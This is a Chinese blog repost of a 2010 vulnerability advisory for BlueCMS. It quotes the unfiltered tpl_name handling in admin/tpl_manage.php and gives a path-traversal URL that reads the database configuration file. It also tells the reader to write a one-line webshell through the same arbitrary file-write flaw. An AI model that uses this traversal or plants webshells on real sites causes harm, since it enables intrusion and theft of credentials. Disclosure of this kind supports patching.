BlueCMS后台拿webshell漏洞

2010年9月9日星期四 | | |

  1. 发布日期:2010-07.31
  2. 发布作者:unknownman
  3. 影响版本: 全部
  4. 官方地址: www.bluecms.net
  5. 漏洞描述: 问题出在admin下的tpl_manage.php,没有对tpl_name进行过滤,导致可以读写任意文件
  6. 读取网站的php文件写入一句话即可得到webshell,以下是漏洞分析:
  7. elseif($act == 'edit'){
  8. $file = $_GET['tpl_name']; //没有过滤模板名称 BY t00ls unknownman
  9. if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
  10. showmsg('打开目标模板文件失败');
  11. }
  12. $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file)); //读文件内容 BY t00ls unknownman
  13. $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
  14. fclose($handle);
  15. $tpl['name'] = $file;
  16. template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
  17. $smarty->display('tpl_info.htm');
  18. }
  19. elseif($act == 'do_edit'){
  20. $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
  21. $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
  22. if(empty($tpl_name)){
  23. return false;
  24. }
  25. $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
  26. if(!$handle = @fopen($tpl, 'wb')){
  27. showmsg("打开目标模版文件 $tpl 失败");
  28. }
  29. if(fwrite($handle, $tpl_content) === false){ //写文件内容 BY t00ls unknownman
  30. showmsg('写入目标 $tpl 失败');
  31. }
  32. fclose($handle);
  33. showmsg('编辑模板成功', 'tpl_manage.php');
  34. }
  35. 利用:http://www.xx.com/admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php即可读数据库配置文件



  36. 插入一句话即可拿到webshell

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]